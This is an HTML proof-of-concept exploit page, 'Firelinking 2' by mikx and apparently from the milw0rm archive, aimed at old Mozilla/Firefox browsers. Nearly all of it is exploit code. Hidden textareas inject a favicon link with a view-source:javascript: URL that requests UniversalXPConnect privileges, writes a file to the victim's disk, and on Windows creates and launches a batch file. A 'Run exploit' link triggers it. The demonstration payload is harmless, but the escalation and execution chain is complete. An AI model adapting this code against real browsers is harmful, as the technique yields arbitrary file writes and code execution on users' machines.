82 lines
No EOL
3.9 KiB
HTML
82 lines
No EOL
3.9 KiB
HTML
<html>
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<head>
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<title>Firelinking 2 - Proof-of-Concept by mikx</title>
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<-- This PoC is cross platform : On Windows this example creates the file -->
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<-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->
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<-- Linux (tested Fedora Core) and MacOSX the example creates the file -->
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<-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->
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<-- run twice in some cases (this will create an additional booom-1.txt). -->
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<link rel="SHORTCUT ICON" href="favicon.ico">
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<script language="JavaScript" type="text/javascript">
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var pf = navigator.platform.toLowerCase();
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if (pf.indexOf("win") != -1) {
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var os = "win";
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} else if (pf.indexOf("mac") != -1) {
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var os = "mac";
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} else {
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var os = "linux"
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}
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function runDemo() {
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// this is an ugly caching workaround
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document.getElementById('outhtml').innerHTML = "";
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document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
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document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
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document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
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window.setTimeout("document.getElementById('outhtml').innerHTML +=
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document.getElementById('linkhtml_"+os+"').value",300);
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}
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</script>
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</head>
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<body>
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<div style="font-family:Verdana;font-size:11px;">
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<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>
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<br><br>
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<div style="width:600px">
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<div id="outhtml" style="display:none"></div>
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<textarea id="clearhtml" style="display:none">
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<link rel="SHORTCUT ICON" href="favicon.ico">
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</textarea>
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<textarea id="linkhtml_win" style="display:none">
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<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('
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javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
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file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.
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nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.
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nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
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file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
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outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n
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PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">
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</textarea>
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<textarea id="linkhtml_mac" style="display:none">
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<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
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netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
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classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
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file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
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NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
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file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
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outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
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(output,output.length);outputStream.close();','','')">
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</textarea>
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<textarea id="linkhtml_linux" style="display:none">
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<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
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netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
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classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.
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initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
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NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
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file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
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outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
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(output,output.length);outputStream.close();','','')">
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</textarea>
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<br><br>
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<a href="#" onclick="runDemo();runDemo();">Run exploit</a>
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</div>
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</body>
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</html>
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# milw0rm.com [2005-05-21] |